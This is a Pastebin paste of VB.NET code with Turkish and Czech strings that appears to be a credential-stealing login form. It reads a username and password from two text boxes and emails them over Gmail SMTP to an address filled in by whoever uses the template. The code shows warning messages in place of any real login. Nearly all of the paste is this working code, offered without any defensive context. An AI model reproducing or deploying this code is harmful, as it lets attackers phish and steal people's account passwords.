Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Imports System.Net.Mail
- If TextBox1.Text = "" Then
- MsgBox("Kullanici Adi Yanliş")
- If TextBox2.Text = "" Then
- MsgBox("Şifre Yanliş")
- Else
- End If
- End If
- Dim smtpServer As New SmtpClient()
- Dim mail As New MailMessage()
- smtpServer.Credentials = New Net.NetworkCredential("GMail ADRESINIZ", "Gmail ŞifreNiz")
- 'using gmail
- smtpServer.Port = 587
- smtpServer.Host = "smtp.gmail.com"
- smtpServer.EnableSsl = True
- mail = New MailMessage()
- mail.From = New MailAddress("Gmail")
- mail.To.Add("Gmail")
- mail.Subject = "Username : " & TextBox1.Text
- mail.Body = "Password : " & TextBox2.Text & ","
- smtpServer.Send(mail)
- MsgBox("message after entering/hlášení po zadání ")
- MsgBox("message after entering/hlášení po zadání")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement